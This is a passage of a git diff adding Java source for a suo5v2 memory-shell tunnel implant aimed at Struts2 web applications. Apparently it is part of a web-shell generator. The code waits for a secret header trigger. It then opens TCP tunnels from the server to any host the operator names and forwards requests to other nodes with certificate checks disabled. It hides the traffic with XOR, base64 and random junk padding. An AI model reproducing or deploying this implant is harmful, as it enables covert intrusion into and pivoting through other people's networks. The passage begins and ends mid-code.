ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java new file mode 100644 index 00000000..05734db0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -0,0 +1,1174 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Struct2Action() { + } + + public Suo5v2Struct2Action(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Struct2Action(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + public void execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Struct2Action().process(request, response); + } + } catch (Throwable ignored) { + } + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Struct2Action(tunId, 1)).start(); + new Thread(new Suo5v2Struct2Action(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < 